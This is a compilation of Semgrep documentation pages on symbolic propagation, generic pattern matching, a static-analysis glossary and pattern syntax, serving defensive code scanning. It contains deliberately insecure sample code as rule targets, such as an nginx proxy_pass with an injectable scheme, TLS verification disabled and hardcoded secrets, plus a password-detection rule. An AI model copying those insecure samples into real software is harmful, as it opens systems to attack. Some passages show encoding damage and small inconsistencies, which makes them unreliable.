* An *unreachable* finding is one with only a dependency match. Reachable findings are reported as coming from the code that was pattern matched. Unreachable findings are reported as coming from the manifest file or lockfile that was dependency matched. For both types of findings, Semgrep specifies whether they are unreachable or reachable along with all matched dependencies, in the `extra` field of Semgrep's JSON output, using the `dependency_match_only` and `dependency_matches` fields, respectively.
A finding is only considered reachable if the file containing the pattern match actually depends on the dependencies in the manifest file or lockfile containing the dependency match. A file depends on a manifest file or lockfile if it is the nearest manifest file or lockfile going up the directory tree.
## r2c-internal-project-depends-on language support
| Language | Namespace | Scans dependencies from |
| :--------- | :-------- | :------------------------------------------------------------ |
| C# | nuget | `packages.lock.json` |
| Dart | pub | `pubspec.lock` |
| Elixir | hex | `mix.lock` |
| Go | gomod | `go.mod` |
| Java | maven | `pom.xml` |
| JavaScript | npm | `yarn.lock`, `package-lock.json`, `pnpm-lock.yaml` |
| PHP | composer | `composer.lock` |
| Python | pypi | `*requirement*.txt`, `Pipfile.lock`, `poetry.lock`, `uv.lock` |
| Ruby | gem | `Gemfile.lock` |
| Rust | cargo | `Cargo.lock` |
| Swift | swiftpm | package.swift |
## Limitations
Dependency resolution uses the source of dependency information with the *least amount of ambiguity* available. For all supported languages except Java, the *least amount of ambiguity* provides a manifest file or lockfile, which lists exact version information for each dependency that a project uses. Dependency resolution does not scan, for example, `package.json` files, because they can contain version ranges. In the case of Java, Maven does not support the creation of manifest files, so `pom.xml` is the least ambiguous source of information we have, and we consider only dependencies listed with exact versions.
# Symbolic propagation
Source: https://docs.semgrep.dev/writing-rules/experiments/symbolic-propagation
Symbolic propagation allows Semgrep to perform matching modulo variable assignments. Consider the following Python code:
```python theme={null}
import pandas
def test1():
# ruleid: test
pandas.DataFrame(x).index.set_value(a, b, c)
def test2():
df = pandas.DataFrame(x)
ix = df.index
# ruleid: test
ix.set_value(a, b, c)
```
If we tried to match the pattern `pandas.DataFrame(...).index.set_value(...)` against the above code, Semgrep would normally match `test1` but not `test2`. It does not match `test2` because there are intermediate assignments, and Semgrep does not know that `ix` is equals to `df.index` or that `df` is equals to `pandas.DataFrame(x)`. If we wanted Semgrep to match such code, we had to be explicit about it.
Symbolic propagation is a generalization of [constant propagation](/writing-rules/data-flow/constant-propagation) that addresses this limitation. It enables Semgrep to perform matching modulo variable assignments. Thus, Semgrep is then able to match both `test1` and `test2` with the same simple pattern. This feature needs to be enabled explicitly via rule `options:` by setting `symbolic_propagation: true`.
## Limitations of symbolic propagation
Currently, symbolic propagation does not cross branching boundaries, such as `if` clauses or loops. Consider the following Python code, adapted from the example shown above:
```python theme={null}
import pandas
def test1():
# ruleid: test
pandas.DataFrame(x).index.set_value(a, b, c)
def test2():
if (x < 5):
df = pandas.DataFrame(x)
pass
ix = df.index
# ruleid: test
ix.set_value(a, b, c)
```
In this case, even if `symbolic_propagation: true` is used, Semgrep does not match `test2`, because the assignment of `df` to `pandas.DataFrame(x)` is not propagated over the conditional to the final two lines.
# Generic pattern matching
Source: https://docs.semgrep.dev/writing-rules/generic-pattern-matching
## Introduction
Semgrep can match generic patterns in languages that it does **not** yet support. Use generic pattern matching for languages that do not have a parser, configuration files, or other structured data such as XML. Generic pattern matching can also be helpful in files containing multiple languages, even if the languages are otherwise supported, such as HTML with embedded JavaScript or PHP code. In those cases, you can also consider [Extract mode (experimental)](/writing-rules/experiments/deprecated-experiments#extract-mode), but generic patterns may be more straightforward and still effective.
As an example of generic matching, consider this rule:
```yaml expandable theme={null}
rules:
- id: dynamic-proxy-scheme
pattern: proxy_pass $$SCHEME:// ...;
paths:
include:
- "*.conf"
- "*.vhost"
- sites-available/*
- sites-enabled/*
languages:
- generic
severity: MEDIUM
message: >-
The protocol scheme for this proxy is dynamically determined.
This can be dangerous if the scheme is injected by an
attacker because it may forcibly alter the connection scheme.
Consider hardcoding a scheme for this proxy.
metadata:
references:
- https://github.com/yandex/gixy/blob/master/en/plugins/ssrf.md
category: security
technology:
- nginx
confidence: MEDIUM
```
The preceding rule [matches](https://semgrep.dev/playground/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme) this code snippet:
```java expandable theme={null}
server {
listen 443 ssl;
server_name www.example.com;
keepalive_timeout 70;
ssl_certificate www.example.com.crt;
ssl_certificate_key www.example.com.key;
location ~ /proxy/(.*)/(.*)/(.*)$ {
# ruleid: dynamic-proxy-scheme
proxy_pass $1://$2/$3;
}
location ~* ^/internal-proxy/(?https?)/(?.*?)/(?.*)$ {
internal;
# ruleid: dynamic-proxy-scheme
proxy_pass $proxy_proto://$proxy_host/$proxy_path ;
proxy_set_header Host $proxy_host;
}
location ~ /proxy/(.*)/(.*)/(.*)$ {
# ok: dynamic-proxy-scheme
proxy_pass http://$1/$2/$3;
}
location ~ /proxy/(.*)/(.*)/(.*)$ {
# ok: dynamic-proxy-scheme
proxy_pass https://$1/$2/$3;
}
}
```
Generic pattern matching has the following properties:
* A document is interpreted as a nested sequence of ASCII words, ASCII punctuation, and other bytes.
* `...` (ellipsis operator) allows skipping non-matching elements, up to 10 lines down from the last match.
* `$X` (metavariable) matches any word.
* `$...X` (ellipsis metavariable) matches a sequence of words, up to 10 lines down from the last match.
* Indentation determines primary nesting in the document.
* Common ASCII braces `()`, `[]`, and `{}` introduce secondary nesting but only within single lines. Therefore, misinterpreted or mismatched braces don't disturb the structure of the rest of the document.
* The document must be at least as indented as the pattern: any indentation specified in the pattern must be honored in the document.
## Caveats and limitations of generic mode
Semgrep can reliably understand the syntax of natively [supported languages](/supported-languages). The generic mode is useful for unsupported languages and consequently brings specific limitations.
**CAUTION**
The quality of results in the generic mode can vary depending on the language you use it for.
The generic mode works fine with any human-readable text, as long as it is primarily based on ASCII symbols. Since the generic mode does not understand the syntax of the language you are scanning, the quality of the result may differ from language to language or even depend on specific code. As a consequence, the generic mode works well for some languages, but it does not always give consistent results. Generally, it's possible or even easy to write code in weird ways that prevent generic mode from matching.
**Example**: In XML, one can write `Hello` instead of `Hello`. If a rule pattern in generic mode is `Hello`, Semgrep is unable to match the `Hello`, unlike if it had full XML support.
With respect to Semgrep operators and features:
* Metavariable support is limited to capturing a single βwordβ, which is a token of the form \[A-Za-z0-9\_]+. They canβt capture sequences of tokens such as hello, world (in this case, there are three tokens: `hello`, `,`, and `world`).
* The ellipsis operator is supported and spans, at most, 10 lines.
* The pattern operators like either/not/inside are supported.
* Inline regular expressions for strings (`"=~/word.*/"`) are not supported.
## Troubleshooting
### Common pitfall #1: not enough `...`
Rule of thumb:
> If the pattern commonly matches many lines, use `... ...` (20 lines), or `... ... ...` (30 lines), to ensure that all lines are matched.
Here's an innocuous pattern that should match the call to a function `f()`:
```
f(...)
```
It matches the following code [just fine](https://semgrep.dev/s/9v9R):
```
f(
1,
2,
3,
4,
5,
6,
7,
8,
9
)
```
But it [fails](https://semgrep.dev/s/1z6Q) here because the function arguments span more than 10 lines:
```
f(
1,
2,
3,
4,
5,
6,
7,
8,
9,
10
)
```
The [solution](https://semgrep.dev/s/9v9R) is to use multiple `...` in the pattern:
```
f(... ...)
```
### Common pitfall #2: not enough indentation
Rule of thumb:
> If the target code is always indented, use indentation in the pattern.
In the following example, the goal is to match the `system` sections containing a `name` field:
```
# match here
[system]
name = "Debian"
# DON'T match here
[system]
max_threads = 2
[user]
name = "Admin Overlord"
```
β This pattern [incorrectly](https://semgrep.dev/s/ry1A) catches the `name` field in the `user` section:
```
[system]
...
name = ...
```
β This pattern catches [only](https://semgrep.dev/s/bXAr) the `name` field in the `system` section:
```
[system]
...
name = ...
```
### Handling line-based input
This section explains how to use Semgrep's generic mode to match
single lines of code using an ellipsis metavariable. Many simple
configuration formats are collections of key and value pairs delimited
by newlines. For example, to extract the `password` value from the
following made-up input:
```
username = bob
password = p@$$w0rd
server = example.com
```
Unfortunately, the following pattern does not match the whole line. In generic mode, metavariables only capture a single word (alphanumeric sequence):
```
password = $PASSWORD
```
This pattern matches the input file but does not assign the value `p` to `$PASSWORD` instead of the full value `p@$$w0rd`.
To match an arbitrary sequence of items and capture their value in the example:
1. Use a named ellipsis by changing the pattern to the following:
```yaml theme={null}
password = $...PASSWORD
```
This still leads Semgrep to capture too much information. The value assigned to `$...PASSWORD` are now `p@$$w0rd` and
`server = example.com`. In generic mode, an ellipsis extends until the end of the current block or up to 10 lines below, whichever comes first. To prevent this behavior, continue with the next step.
2. In the Semgrep rule, specify the following key:
```yaml theme={null}
generic_ellipsis_max_span: 0
```
This option forces the ellipsis operator to match patterns within a single line.
Example of the [resulting rule](https://semgrep.dev/playground/s/KPzn):
```yaml theme={null}
id: password-in-config-file
pattern: |
password = $...PASSWORD
options:
# prevent ellipses from matching multiple lines
generic_ellipsis_max_span: 0
message: |
password found in config file: $...PASSWORD
languages:
- generic
severity: WARNING
```
### Ignoring comments
By default, the generic mode does **not** know about comments or code
that can be ignored. The following example is
scanning for CSS code that sets the text color to blue. The target code
is the following:
```
color: /* my fave color */ blue;
```
Use the [`options.generic_comment_style`](/writing-rules/rule-syntax/#options)
to ignore C-style comments, as is the case in the example.
The Semgrep rule is:
```yaml theme={null}
id: css-blue-is-ugly
pattern: |
color: blue
options:
# ignore comments of the form /* ... */
generic_comment_style: c
message: |
Blue is ugly.
languages:
- generic
severity: WARNING
```
## Command line example
Sample pattern: `exec(...)`
Sample target file `exec.txt` contains:
```bash theme={null}
import exec as safe_function
safe_function(user_input)
exec("ls")
exec(some_var)
some_exec(foo)
exec (foo)
exec (
bar
)
# exec(foo)
print("exec(bar)")
```
Output:
```bash theme={null}
$ semgrep -l generic -e 'exec(...)` exec.text
7:exec("ls")
--------------------------------------------------------------------------------
11:exec(some_var)
--------------------------------------------------------------------------------
19:exec (foo)
--------------------------------------------------------------------------------
23:exec (
24:128
25: Β Β bar
26:129
27:)
--------------------------------------------------------------------------------
31:# exec(foo)
--------------------------------------------------------------------------------
35:print("exec(bar)")
ran 1 rules on 1 files: 6 findings
```
## Semgrep Registry rules for generic pattern matching
You can peruse [existing generic rules](https://semgrep.dev/r?lang=generic\&sev=ERROR,WARNING,INFO\&tag=dgryski.semgrep-go,hazanasec.semgrep-rules,ajinabraham.njsscan,best-practice,security,java-spring,go-stdlib,ruby-stdlib,java-stdlib,js-node,nodejsscan,owasp,dlint,react,performance,compatibility,portability,correctness,maintainability,security,mongodb,experimental,caching,robots-denied,missing-noreferrer,missing-noopener) in the Semgrep registry. In general, short patterns on structured data performs the best.
## Cheat sheet
Some examples of what matches and what doesn't match on the `generic` tab of the Semgrep cheat sheet below:
## Hidden bonus
In the Semgrep code, the generic pattern matching implementation is called **spacegrep** because it tokenizes based on whitespace (and because it sounds cool π).
# Static analysis and rule-writing glossary
Source: https://docs.semgrep.dev/writing-rules/glossary
The definitions provided here are specific to Semgrep.
## Constant propagation
Constant propagation is a type of analysis where values known to be constant are substituted in later uses, allowing the value to be used to detect matches. Semgrep can perform constant propagation across files, unless you are running Semgrep Community Edition (CE), which can only propagate within a file.
Constant propagation is applied to all rules unless [it is disabled](/writing-rules/data-flow/constant-propagation#disable-constant-propagation).
For example, given the following pattern:
```yaml theme={null}
...
patterns:
- pattern: console.log(2)
```
And the following code snippet:
```javascript highlight={2} theme={null}
const x = 2;
console.log(x);
```
The pattern operator `pattern: print(2)` tells Semgrep to match line 2 because it propagates the value `2` from the assignment in line 1 to the `console.log()` function in line.
Constant propagation is one of the many analyses that differentiate Semgrep from grep.
## Cross-file analysis
Cross-file analysis (also known as **interfile analysis**) takes into account how information flows between files. In particular, cross-file analysis includes **cross-file taint analysis**, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many files. Other analyses performed across files include constant propagation and type inference.
Cross-file analysis is usually used in contrast to intrafile, or per-file analysis, where each file is analyzed as a standalone block of code.
Within Semgrep, cross-file **and** cross-function analysis is simply referred to as cross-file analysis.
Semgrep CE is limited to per-file analysis.
## Cross-function analysis
Cross-function analysis means that interactions between functions are taken into account. This improves taint analysis, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many functions.
Within Semgrep documentation, cross-function analysis implies intrafile or per-file analysis. Each file is still analyzed as a standalone block, but within the file it takes into account how information flows between functions.
Also known as **interprocedural** analysis.
## Error matrix
An error matrix is a 2x2 table that visualizes the findings of a Semgrep rule in relation to the vulnerable lines of code it does or doesn't detect. It has two axes:
* Positive and negative
* True or false
These yield the following combinations:
**True positive**
Β Β Β Β The rule detected a piece of code it was intended to find.
**False positive**
Β Β Β Β The rule detected a piece of code it was not intended to find.
**True negative**
Β Β Β Β The rule correctly skipped over a piece of code it wasn't meant to find.
**False negative**
Β Β Β Β The rule failed to detect a piece of code it should have found.
Not to be confused with **risk matrices**.
## Finding
A finding is the core result of Semgrep's analysis. Findings are generated when a Semgrep rule matches a piece of code. Findings can be security issues, bugs, or code that doesn't follow coding conventions.
## Fully qualified name
A **fully qualified name** refers to a name which uniquely identifies a class, method, type, or module. Languages such as C# and Ruby use `::` to distinguish between fully qualified names and regular names.
Not to be confused with **tokens**.
## l-value (left-, or location-value)
An expression that denotes an object in memory; a memory location, something that you can use in the left-hand side (LHS) of an assignment. For example, `x` and `array[2]` are l-values, but `2+2` is not.
## Metavariable
A metavariable is an abstraction that lets you match something even when you don't know exactly what it is you want to match. It is similar to capture groups in regular expressions. All metavariables begin with a `$` and can only contain uppercase characters, digits, and underscores.
## Propagator
A propagator is any code that alters a piece of data as the data moves across the program. This includes functions, reassignments, and so on.
When you write rules that perform taint analysis, propagators are pieces of code that you specify through the `pattern-propagator` key as code that always passes tainted data. This is especially relevant when Semgrep performs intraprocedural taint analysis, as there is no way for Semgrep to infer which function calls propagate taint. Thus, explicitly listing propagators is the only way for Semgrep to know if tainted data could be passed within your function.
## Rule (Semgrep rule)
A rule is a specification of the patterns that Semgrep must match to the code to generate a finding. Rules are written in YAML. Without a rule, the engine has no instructions on how to match code.
Rules can be run on either Semgrep or its OSS Engine. Only proprietary Semgrep can perform [interfile analysis](#cross-file-analysis).
There are two types of rules: **search** and **taint**.
**Search rules**
Rules default to this type. Search rules detect matches based on the patterns described by a rule. There are several semantic analyses that search rules perform, such as:
* Interpreting syntactically different code as semantically equivalent
* Constant propagation
* Matching a fully qualified name to its reference in the code, even when not fully qualified
* Type inference, particularly when using typed metavariables
**Taint rules**
Taint rules make use of Semgrep's taint analysis in addition to default search functionalities. Taint rules are able to specify sources, sinks, and propagators of data as well as sanitizers of that data. For more information, see [Taint analysis documentation](/writing-rules/data-flow/taint-mode/overview).
## Sanitizers
A sanitizer is any piece of code, such as a function or [a cast](https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/types/casting-and-type-conversions#explicit-conversions), that can clean untrusted or tainted data. Data from untrusted sources, such as user inputs, may be tainted with unsafe characters. Sanitizers ensure that unsafe characters are removed or stripped from the input.
An example of a sanitizer is the [ `DOMPurify.sanitize(dirty);`](https://github.com/cure53/DOMPurify) function from the DOMPurify package in JavaScript.
## Per-file analysis
Also known as intrafile analysis. In per-file analysis, information can only be traced or tracked within a single file. It cannot be traced if it flows to another file.
Per-file analysis can include cross-function analysis, aka tracing the flow of information between functions. When discussing the capabilities of pro analysis, per-file analysis implies cross-function analysis.
## Per-function analysis
Also known as intraprocedural analysis. In per-function analysis, information can only be traced or tracked within a single function.
## Sink
In taint analysis, a sink is any vulnerable function that is called with potentially tainted or unsafe data.
## Source
In taint analysis, a source is any piece of code that assigns or sets tainted data, typically user input.
## Taint analysis
Taint analysis tracks and traces the flow of untrusted or unsafe data. Data coming from sources such as user inputs could be unsafe and used as an attack vector if these inputs are not sanitized. Taint analysis provides a means of tracing that data as it moves through the program from untrusted sources to vulnerable functions.
# Metavariable analysis
Source: https://docs.semgrep.dev/writing-rules/metavariable-analysis
Semgrep developed metavariable analysis to support several metavariable inspection techniques that are difficult to express with existing rules, but have "simple" binary classifier behavior. Currently, this syntax supports two analyzers: `redos` and `entropy`.
## ReDoS
```yaml theme={null}
metavariable-analysis:
analyzer: redos
metavariable: $VARIABLE
```
Poorly constructed regular expressions that exhibit exponential runtime when fed specifically crafted inputs can cause RegEx denial of service. The `redos` analyzer uses known RegEx anti-patterns to determine if the target expression is potentially vulnerable to catastrophic backtracking.
## Entropy
```yaml theme={null}
metavariable-analysis:
analyzer: entropy
metavariable: $VARIABLE
```
Entropy is a common approach for detecting secret strings. Many existing tools utilize a combination of entropy calculations and regular expressions (RegEx) for secret detection. This analyzer returns `true` if a metavariable has high entropy, or randomness, relative to the English language.
# Write rules
Source: https://docs.semgrep.dev/writing-rules/overview
Semgrep uses rules, which encapsulate pattern matching logic and data flow analysis, to scan your code for security issues, style violations, bugs, and more. In addition to rules available to you in the Semgrep Registry, you can write custom rules to determine what Semgrep detects in your repositories. You can write rules that:
* Automate code review comments.
* Identify secure coding violations.
* Scan configuration files.
See more use cases in [Rule ideas](/writing-rules/rule-ideas).
## Get started
For an introduction to writing Semgrep rules, use the interactive, example-based [Semgrep rule tutorial](https://semgrep.dev/learn).
You can write rules in your terminal and run them with the Semgrep command line tool, or you can write and test using the [Semgrep Editor](https://semgrep.dev/editor).
For example, the following sample rule detects the use of `is` when comparing Python strings. `is` checks reference equality, not value equality, and can exhibit nondeterministic behavior.
## Next steps
The following articles guide you through rule-writing basics and act as references:
* [Pattern syntax](/writing-rules/pattern-syntax) describes what Semgrep patterns can do in detail and provides sample use cases.
* [Rule syntax](/writing-rules/rule-syntax) describes Semgrep YAML rule files, which can have multiple patterns, detailed output messages, and Rule-defined fixes. The syntax allows the composition of individual patterns with Boolean operators.
* [Contributing rules](/contributing/contributing-to-semgrep-rules-repository) gives you an overview of how you can contribute to Semgrep Registry rules. This document also provides information about tests and metadata fields that you can use for your rules.
Need rule ideas? See [Rule ideas](/writing-rules/rule-ideas) for everyday use cases and prompts to help you start writing rules from scratch.
# Write rules
Source: https://docs.semgrep.dev/writing-rules/overview-1
Semgrep uses rules, which encapsulate pattern matching logic and data flow analysis, to scan your code for security issues, style violations, bugs, and more. In addition to rules available to you in the Semgrep Registry, you can write custom rules to determine what Semgrep detects in your repositories. You can write rules that:
* Automate code review comments.
* Identify secure coding violations.
* Scan configuration files.
See more use cases in [Rule ideas](/writing-rules/rule-ideas).
## Get started
For an introduction to writing Semgrep rules, use the interactive, example-based [Semgrep rule tutorial](https://semgrep.dev/learn).
You can write rules in your terminal and run them with the Semgrep command line tool, or you can write and test using the [Semgrep Editor](https://semgrep.dev/editor).
For example, the following sample rule detects the use of `is` when comparing Python strings. `is` checks reference equality, not value equality, and can exhibit nondeterministic behavior.
## Next steps
The following articles guide you through rule-writing basics and act as references:
* [Pattern syntax](/writing-rules/pattern-syntax) describes what Semgrep patterns can do in detail and provides sample use cases.
* [Rule syntax](/writing-rules/rule-syntax) describes Semgrep YAML rule files, which can have multiple patterns, detailed output messages, and Rule-defined fixes. The syntax allows the composition of individual patterns with Boolean operators.
* [Contributing rules](/contributing/contributing-to-semgrep-rules-repository) gives you an overview of how you can contribute to Semgrep Registry rules. This document also provides information about tests and metadata fields that you can use for your rules.
Need rule ideas? See [Rule ideas](/writing-rules/rule-ideas) for everyday use cases and prompts to help you start writing rules from scratch.
# Rule pattern syntax examples
Source: https://docs.semgrep.dev/writing-rules/pattern-examples
This section is automatically generated from the unit test suite inside Semgrep. Per-language references are also available within the [Playground](https://semgrep.dev/editor).
# Rule pattern syntax
Source: https://docs.semgrep.dev/writing-rules/pattern-syntax
**TIP**
Getting started with rule writing? Try the [Semgrep Tutorial](https://semgrep.dev/learn) π
This document describes Semgrepβs pattern syntax. You can also see pattern [examples by language](/writing-rules/pattern-examples). In the command line, patterns are specified with the flag `--pattern` (or `-e`). Multiple
coordinating patterns may be specified in a configuration file. See
[rule syntax](/writing-rules/rule-syntax) for more information.
## Pattern matching
Pattern matching searches code for a given pattern. For example, the
expression pattern `1 + func(42)` can match a full expression or be
part of a subexpression:
```python theme={null}
foo(1 + func(42)) + bar()
```
In the same way, the statement pattern `return 42` can match a top
statement in a function or any nested statement:
```python theme={null}
def foo(x):
if x > 1:
if x > 2:
return 42
return 42
```
## Ellipsis operator
The `...` ellipsis operator abstracts away a sequence of zero or more
items such as arguments, statements, parameters, fields, characters.
The `...` ellipsis can also match any single item that is not part of
a sequence when the context allows it.
See the use cases in the subsections below.
### Function calls
Use the ellipsis operator to search for function calls or
function calls with specific arguments. For example, the pattern `insecure_function(...)` finds calls regardless of its arguments.
```python theme={null}
insecure_function("MALICIOUS_STRING", arg1, arg2)
```
Functions and classes can be referenced by their fully qualified name, e.g.,
* `django.utils.safestring.mark_safe(...)` or `mark_safe(...)`
* `System.out.println(...)` or `println(...)`
You can also search for calls with arguments after a match. The pattern `func(1, ...)` will match both:
```python theme={null}
func(1, "extra stuff", False)
func(1) # Matches no arguments as well
```
Or find calls with arguments before a match with `func(..., 1)`:
```python theme={null}
func("extra stuff", False, 1)
func(1) # Matches no arguments as well
```
The pattern `requests.get(..., verify=False, ...)` finds calls where an argument appears anywhere:
```python theme={null}
requests.get(verify=False, url=URL)
requests.get(URL, verify=False, timeout=3)
requests.get(URL, verify=False)
```
Match the keyword argument value with the pattern `$FUNC(..., $KEY=$VALUE, ...)`.
### Method calls
The ellipsis operator can also be used to search for method calls.
For example, the pattern `$OBJECT.extractall(...)` matches:
```python theme={null}
tarball.extractall('/path/to/directory') # Oops, potential arbitrary file overwrite
```
You can also use the ellipsis in chains of method calls. For example,
the pattern `$O.foo(). ... .bar()` will match:
```python theme={null}
obj = MakeObject()
obj.foo().other_method(1,2).again(3,4).bar()
```
### Function definitions
The ellipsis operator can be used in function parameter lists or in the function
body. To find function definitions with [mutable default arguments](https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments):
```text theme={null}
pattern: |
def $FUNC(..., $ARG={}, ...):
...
```
```python theme={null}
def parse_data(parser, data={}): # Oops, mutable default arguments
pass
```
**TIP**
The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
The ellipsis operator can match the function name.
Match any function definition:
Regular functions, methods, and also anonymous functions (such as lambdas).
To match named or anonymous functions use an ellipsis `...` in place of the name of the function.
For example, in JavaScript the pattern `function ...($X) { ... }` matches
any function with one parameter:
```javascript theme={null}
function foo(a) {
return a;
}
var bar = function (a) {
return a;
};
```
### Class definitions
The ellipsis operator can be used in class definitions. To find classes that
inherit from a certain parent:
```text theme={null}
pattern: |
class $CLASS(InsecureBaseClass):
...
```
```python theme={null}
class DataRetriever(InsecureBaseClass):
def __init__(self):
pass
```
**TIP**
The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
#### Ellipsis operator scope
The `...` ellipsis operator matches everything in its current scope. The current scope of this operator is defined by the patterns that precede `...` in a rule. See the following example:
Semgrep matches the first occurrence of `bar` and `baz` in the test code as these objects fall under the scope of `foo` and `...`. The ellipsis operator does not match the second occurrence of `bar` and `baz` as they are not inside of the function definition, therefore these objects in their second occurrence are not inside the scope of the ellipsis operator.
### Strings
The ellipsis operator can be used to search for strings containing any data. The pattern `crypto.set_secret_key("...")` matches:
```python theme={null}
crypto.set_secret_key("HARDCODED SECRET")
```
This also works with [constant propagation](#constants).
In languages where regular expressions use a special syntax
(for example JavaScript), the pattern `/.../` will match
any regular expression construct:
```javascript theme={null}
re1 = /foo|bar/;
re2 = /a.*b/;
```
### Binary operations
The ellipsis operator can match any number of arguments to binary operations. The pattern `$X = 1 + 2 + ...` matches:
```python theme={null}
foo = 1 + 2 + 3 + 4
```
### Containers
The ellipsis operator can match inside container data structures like lists, arrays, and key-value stores.
The pattern `user_list = [..., 10]` matches:
```python theme={null}
user_list = [8, 9, 10]
```
The pattern `user_dict = {...}` matches:
```python theme={null}
user_dict = {'username': 'password'}
```
The pattern `user_dict = {..., $KEY: $VALUE, ...}` matches the following and allows for further metavariable queries:
```python theme={null}
user_dict = {'username': 'password', 'address': 'zipcode'}
```
You can also match just a key-value pair in
a container, for example in JSON the pattern `"foo": $X` matches
just a single line in:
```json theme={null}
{ "bar": True,
"name": "self",
"foo": 42
}
```
### Conditionals and loops
The ellipsis operator can be used inside conditionals or loops. The pattern:
```text theme={null}
pattern: |
if $CONDITION:
...
```
**TIP**
The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
matches:
```python theme={null}
if can_make_request:
check_status()
make_request()
return
```
A metavariable can match a conditional or loop body if the body statement information is re-used later. The pattern:
```text theme={null}
pattern: |
if $CONDITION:
$BODY
```
matches:
```python theme={null}
if can_make_request:
single_request_statement()
```
**TIP**
Half or partial statements can't be matches; both of the examples above must specify the contents of the conditionβs body (e.g., `$BODY` or `...`), otherwise they are not valid patterns.
### Matching single items with an ellipsis
Ellipsis `...` is generally used to match sequences of similar elements.
However, you can also match single item using ellipsis `...` operator.
The following pattern is valid in languages with a C-like
syntax even though `...` matches a single Boolean value rather
than a sequence:
```java theme={null}
if (...)
return 42;
```
Another example where a single expression is matched by an ellipsis is
the right-hand side of assignments:
```java theme={null}
foo = ...;
```
However, matching a sequence of items remains the default meaning of an
ellipsis. For example, the pattern `bar(...)` matches `bar(a)`,
but also `bar(a, b)` and `bar()`. To force a match on a single item,
use a metavariable as in `bar($X)`.
## Metavariables
Metavariables are an abstraction to match code when you donβt know the value or contents ahead of time, similar to [capture groups](https://regexone.com/lesson/capturing_groups) in regular expressions.
Metavariables can be used to track values across a specific code scope. This
includes variables, functions, arguments, classes, object methods, imports,
exceptions, and more.
Metavariables look like `$X`, `$WIDGET`, or `$USERS_2`. They begin with a `$` and can only
contain uppercase characters, `_`, or digits. Names like `$x` or `$some_value` are invalid.
### Expression metavariables
The pattern `$X + $Y` matches the following code examples:
```python theme={null}
foo() + bar()
```
```python theme={null}
current + total
```
### Import metavariables
Metavariables can also be used to match imports. For example, `import $X` matches:
```python theme={null}
import random
```
### Reoccurring metavariables
Re-using metavariables shows their true power. Detect useless assignments:
```text theme={null}
pattern: |
$X = $Y
$X = $Z
```
Useless assignment detected:
```python theme={null}
initial_value = 10 # Oops, useless assignment
initial_value = get_initial_value()
```
**TIP**
The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
### Literal Metavariables
You can use `"$X"` to match any string literal. This is similar
to using `"..."`, but the content of the string is stored in the
metavariable `$X`, which can then be used in a message
or in a [`metavariable-regex`](/writing-rules/rule-syntax/#metavariable-regex).
You can also use `/$X/` and `:$X` to respectively match
any regular expressions or atoms (in languages that support
those constructs, e.g., Ruby).
**INFO**
Because literal metavariables bind to strings that may not be valid code, if you want to match them in more detail with a [`metavariable-pattern`](/writing-rules/rule-syntax/#metavariable-pattern), you must [specify `generic` language](/writing-rules/rule-syntax#metavariable-pattern-with-nested-language) inside the `metavariable-pattern`. For example:
```
rules:
- id: match-literal-string
languages:
- python
severity: LOW
message: Found "$STRING"
patterns:
- pattern: '"$STRING"'
- metavariable-pattern:
language: generic
metavariable: $STRING
pattern: "literal string contents"
```
### Typed metavariables
#### Syntax
Typed metavariables only match a metavariable if itβs declared as a specific type.
##### Java:
For example, to look for calls to the `log` method on `Logger` objects.
A simple pattern for this purpose could use a metavariable for the Logger object.
```text theme={null}
pattern: $LOGGER.log(...)
```
But if we are concerned about finding calls to the `Math.log()` method as well, we can use a typed metavariable to put a type constraint on the `$LOGGER` metavariable.
```text theme={null}
pattern: (java.util.logging.Logger $LOGGER).log(...)
```
Alternatively, if we want to capture more logger types, for example custom logger types, we could instead add a constraint to the type of the argument in this method call instead.
```text theme={null}
pattern: $LOGGER.log(java.util.logging.LogRecord $RECORD)
```
##### C:
In this example in C, we want to capture all cases where something is compared to a char array.
We start with a simple pattern that looks for comparison between two variables.
```text theme={null}
pattern: $X == $Y
```
We can then put a type constraint on one of the metavariables used in this pattern by turning it into a typed metavariable.
```text theme={null}
pattern: $X == (char *$Y)
```
```c theme={null}
int main() {
char *a = "Hello";
int b = 1;
// Matched
if (a == "world") {
return 1;
}
// Not matched
if (b == 2) {
return -1;
}
return 0;
}
```
##### Go:
The syntax for a typed metavariable in Go looks different from the syntax for Java.
In this Go example we look for calls to the `Open` function, but only on an object of the `zip.Reader` type.
```text theme={null}
pattern: |
($READER : *zip.Reader).Open($INPUT)
```
```go theme={null}
func read_file(reader *zip.Reader, filename) {
// Matched
reader.Open(filename)
dir := http.Dir("/")
// Not matched
f, err := dir.Open(c.Param("file"))
}
```
**CAUTION**
For Go, Semgrep currently does not recognize the type of all variables that are declared on the same line. That is, the following will not take both `a` and `b` as `int`s: `var a, b = 1, 2`
##### TypeScript:
In this example, we want to look for uses of the DomSanitizer function.
```text theme={null}
pattern: ($X: DomSanitizer).sanitize(...)
```
```typescript theme={null}
constructor(
private _activatedRoute: ActivatedRoute,
private sanitizer: DomSanitizer,
) { }
ngOnInit() {
// Not matched
this.sanitizer.bypassSecurityTrustHtml(DOMPurify.sanitize(this._activatedRoute.snapshot.queryParams['q']))
// Matched
this.sanitizer.bypassSecurityTrustHtml(this.sanitizer.sanitize(this._activatedRoute.snapshot.queryParams['q']))
}
```
#### Using typed metavariables
Type inference applies to the entire file! One common way to use typed metavariables is to check for a function called on a specific type of object. For example, let's say you're looking for calls to a potentially unsafe logger in a class like this:
```
class Test {
static Logger logger;
public static void run_test(String input, int num) {
logger.log("Running a test with " + input);
test(input, Math.log(num));
}
}
```
If you searched for `$X.log(...)`, you can also match `Math.log(num)`. Instead, you can search for `(Logger $X).log(...)` which gives you the call to `logger`. See the rule [`logger_search`](https://semgrep.dev/playground/s/lgAo).
**CAUTION**
Since matching happens within a single file, this is only guaranteed to work for local variables and arguments. Additionally, Semgrep currently understands types on a shallow level. For example, if you have `int[] A`, it will not recognize `A[0]` as an integer. If you have a class with fields, you will not be able to use typechecking on field accesses, and it will not recognize the classβs field as the expected type. Literal types are understood to a limited extent. Expanded type support is under active development.
### Ellipsis metavariables
You can combine ellipses and metavariables to match a sequence
of arguments and store the matched sequence in a metavariable.
